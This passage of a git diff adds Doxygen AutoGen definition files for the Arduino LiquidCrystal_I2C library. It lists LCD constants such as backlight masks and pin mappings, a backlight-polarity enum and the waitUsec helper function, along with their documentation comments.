'_l_c_d_8h_1aa5bad1c51f5fac029f3deacfef48c54b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'BACKLIGHT_ON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +255 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '159'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Backlight on constant declaration + @discussion Used in combination with the setBacklight to swith on the + LCD backlight. @set setBacklight +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab0d87e07831e7e4943caef187872123e'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'COMMAND'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '132'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aad9ae913bdfab20dd94ad04ee2d5b045'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'DATA'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '133'; 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+ }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a15008b832807a208d9d88c74e6751ebf'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_SETDDRAMADDR'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '95'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + enum = { + enum-member = { + enum-mem-kind = 'enum'; + enum-mem-id = '_l_c_d_8h_1aeeef728bf4726268aa5e99391a1502bc'; + enum-mem-virt = normal; + enum-mem-prot = public; + enum-mem-name = 't_backlighPol'; + enum-mem-enum = { enum-name = POSITIVE; }; + enum-mem-enum = { enum-name = NEGATIVE; }; + enum-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + enum-mem-desc-line = '167'; + enum-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + enum-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* enum-member */ + }; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_l_c_d_8h_1a6eac41e4be58d7736ac0c19de225c0dc'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +static void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'waitUsec'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint16_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'uSec'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + func-mem-desc-line = '72'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Enables disables fast waits for write operations for LCD + @discussion If defined, the library will avoid doing un-necessary waits. + this can be done, because the time taken by Arduino's slow digitalWrite + operations. If fast digitalIO operations, comment this line out or undefine + the mode. + + + @function + @abstract waits for a given time in microseconds (compilation dependent). + @discussion Waits for a given time defined in microseconds depending on + the FAST_MODE define. If the FAST_MODE is defined the call will return + inmediatelly. + @param uSec[in] time in microseconds. + @result None +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal_8cpp'; + file-name = 'LiquidCrystal.cpp'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a31e1c14e8c2845dec3301f0ebd36b43c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_4BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '45'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a57d84af8cf61ceee4eb91db77889f071'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_8BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '46'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0xFF +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal_8h'; + file-name = 'LiquidCrystal.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8h_1adebff0f00a59c9f9863bc196938d5726'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'EXEC_TIME'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +37 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Command execution time on the LCD. + @discussion This defines how long a command takes to execute by the LCD. + The time is expressed in micro-seconds. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c_8cpp'; + file-name = 'LiquidCrystal_I2C.cpp'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a3d9bb178282c3cb69740c94ba1e48fed'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D4'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '88'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a2ddd4183d444d6d128cbdbd6269e4e0c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D5'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '89'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a79a18a7f5ccf7a7ca31f302bd62527a6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D6'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +2 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '90'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a2ba78f059a7ebebc95e7beef690e88d6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D7'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +3 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '91'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a22e6626f2c98ed902f8ded47f6438c05'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'EN'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +6 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '66'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1ac059d24dfe9c1e1f7c07cb7869a1833b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0xFF +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '55'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '48'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_NOBACKLIGHT + @discussion NO BACKLIGHT MASK +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1af8903d8eea3868940c60af887473b152'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +4 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '80'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1afc4ded33ac0ca43defcce639e965748a'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RW'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +5 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '73'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c_8h'; 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+ file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r2_w_8h'; + file-name = 'LiquidCrystal_SR2W.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r2_w_8h_1a53e3add69865ae57ca872cb41fcae9e3'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_BL_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '132'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r2_w_8h_1a7cf86f2a173473d01e02b2ac786a8690'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_DATA_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x78 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '134'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r2_w_8h_1a8d17b6abb5bcde6883dbdc86d34be9d8'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_EN_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '135'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r2_w_8h_1acce98b026d9fdcb2e126705c14af7500'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR2W_RS_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + define-mem-desc-line = '133'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r3_w_8cpp'; + file-name = 'LiquidCrystal_SR3W.cpp'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a3d9bb178282c3cb69740c94ba1e48fed'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D4'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '126'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a2ddd4183d444d6d128cbdbd6269e4e0c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D5'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '127'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a79a18a7f5ccf7a7ca31f302bd62527a6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D6'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +2 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '128'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a2ba78f059a7ebebc95e7beef690e88d6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D7'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +3 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '129'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a22e6626f2c98ed902f8ded47f6438c05'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'EN'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +4 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '104'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Enable +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1ac059d24dfe9c1e1f7c07cb7869a1833b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0xFF +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '93'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '86'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_NOBACKLIGHT + @discussion No BACKLIGHT MASK +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1af8903d8eea3868940c60af887473b152'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +6 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '118'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Register select pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r3_w_8cpp_1afc4ded33ac0ca43defcce639e965748a'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RW'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +5 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + define-mem-desc-line = '111'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Rw pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___s_r3_w_8h'; + file-name = 'LiquidCrystal_SR3W.h'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ diff --git a/libraries/LiquidCrystal/docs/def/doxygen.def.txt b/libraries/LiquidCrystal/docs/def/doxygen.def.txt new file mode 100644 index 0000000..8f4275f --- /dev/null +++ b/libraries/LiquidCrystal/docs/def/doxygen.def.txt @@ -0,0 +1,2897 @@ +AutoGen Definitions dummy; +class = { + cp-id = 'class_i2_c_i_o'; + cp-name = 'I2CIO'; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a32eb7832075ad6011d67874405a0d0a6'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'I2CIO'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '51'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Constructor method + @discussion Class constructor constructor. 